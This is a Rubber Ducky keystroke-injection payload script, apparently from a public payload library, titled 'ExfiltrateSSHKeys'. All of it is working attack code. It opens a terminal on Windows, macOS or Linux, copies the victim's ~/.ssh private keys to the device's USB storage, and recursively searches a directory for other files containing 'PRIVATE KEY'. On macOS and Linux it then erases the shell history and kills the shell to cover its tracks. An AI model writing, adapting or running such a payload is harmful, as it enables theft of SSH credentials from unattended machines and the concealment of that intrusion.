Path: blob/master/payloads/library/exfiltration/ExfiltrateSSHKeys/payload.txt
2968 views
REM Title: ExfiltrateSSHKeys1REM Author: thomasgruebl2REM Target: Windows, macOS, Linux (partly functional)3REM Version: 1.04REM Category: Exfiltration5REM Description: This payload performs an SSH key exfiltration attack by (1)6REM checking the default ssh key location ~/.ssh/ and (2) by performing a7REM grep recursive pattern matching search for an SSH private key in a specified parent directory.89EXTENSION DETECT_READY10REM VERSION 1.111REM AUTHOR: Korben1213REM_BLOCK DOCUMENTATION14USAGE:15Extension runs inline (here)16Place at beginning of payload (besides ATTACKMODE) to act as dynamic17boot delay1819TARGETS:20Any system that reflects CAPSLOCK will detect minimum required delay21Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms22END_REM2324REM CONFIGURATION:25DEFINE #RESPONSE_DELAY 2526DEFINE #ITERATION_LIMIT 1202728VAR $C = 029WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))30CAPSLOCK31DELAY #RESPONSE_DELAY32$C = ($C + 1)33END_WHILE34CAPSLOCK35END_EXTENSION3637ATTACKMODE HID STORAGE3839$_JITTER_ENABLED = TRUE4041REM Define OS - Only set ONE definition at the time to TRUE (e.g. DEFINE #WINDOWS TRUE).42REM DEFINE #WINDOWS TRUE, DEFINE #MACOS TRUE, and DEFINE #LINUX TRUE won't function.43DEFINE #WINDOWS TRUE44DEFINE #MACOS FALSE45DEFINE #LINUX FALSE4647REM Define Rubber Ducky Drive Label48DEFINE #DUCKY_DRIVE_LABEL DUCKY4950REM Using "Desktop" as a sample directory51DEFINE #PARENT_DIR Desktop5253IF_DEFINED_TRUE #MACOS54DELAY 50055GUI SPACE56DELAY 50057STRING terminal58DELAY 5059ENTER60DELAY 10061STRING cd62DELAY 5063ENTER64DELAY 1006566REM Create exfiltration directory + add some extra delay to give the rubber ducky time to mount storage67DELAY 200068STRING mkdir /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration69DELAY 5070ENTER71DELAY 1007273REM Method 1: Copy ~/.ssh dir74STRING cp .ssh/* /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration75DELAY 5076ENTER7778DELAY 10007980REM Method 2: Recursively search a parent directory for an ssh key pattern81STRING matches=$(grep -rl "PRIVATE KEY" #PARENT_DIR) && for file in ${(f)matches}; do cp "$file" /Volumes/#DUCKY_DRIVE_LABEL/ssh_exfiltration; done;82DELAY 5083ENTER8485DELAY 30008687REM Cleaning up8889REM 1. Flush shell history90STRING history -p && rm -f .zsh_history && touch .zsh_history && kill -9 $$91DELAY 5092ENTER9394REM 2. Quit terminal95DELAY 10096GUI q9798END_IF_DEFINED99100101IF_DEFINED_TRUE #WINDOWS102103REM Method 1: Copy ~/.ssh dir104GUI r105DELAY 500106STRING powershell "$vol=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;107STRING mkdir $vol':\'ssh_exfiltration\;108STRING cp -r $env:USERPROFILE\.ssh\* $vol':\'ssh_exfiltration\; Start-Sleep -Seconds 0.5"109DELAY 100110ENTER111DELAY 1000112113REM Method 2: Recursively search a parent directory for an ssh key pattern114GUI r115DELAY 100116STRING powershell "$vol=(Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter;117STRING $matches=(findstr /MSPI 'PRIVATE KEY' $env:USERPROFILE\#PARENT_DIR\*);118STRING $split_matches=$matches -split '`n';119STRING foreach ($line in $split_matches) { cp $line $vol':\'ssh_exfiltration\ }"120DELAY 100121ENTER122123DELAY 500124END_IF_DEFINED125126127IF_DEFINED_TRUE #LINUX128129REM Needed longer delays on Ubuntu system while testing130DELAY 3000131CTRL-ALT t132DELAY 3000133134STRINGLN cd135DELAY 100136137REM identify user138STRINGLN USER_NAME=$(whoami)139DELAY 500140141STRINGLN mkdir /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration142DELAY 100143144REM Method 1: Copy ~/.ssh dir145STRINGLN cp .ssh/* /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration146147DELAY 1000148149REM Method 2: Recursively search a parent directory for an ssh key pattern150STRINGLN matches=$(grep -rl "PRIVATE KEY" #PARENT_DIR) && for file in ${(f)matches}; do cp "$file" /media/$USER_NAME/#DUCKY_DRIVE_LABEL/ssh_exfiltration; done;151152DELAY 3000153154REM Cleaning up155156REM 1. Flush shell history157STRINGLN history -p && rm -f .bash_history && touch .bash_history && kill -9 $$158DELAY 100159160REM 2. Quit terminal161STRINGLN exit162163END_IF_DEFINED164165166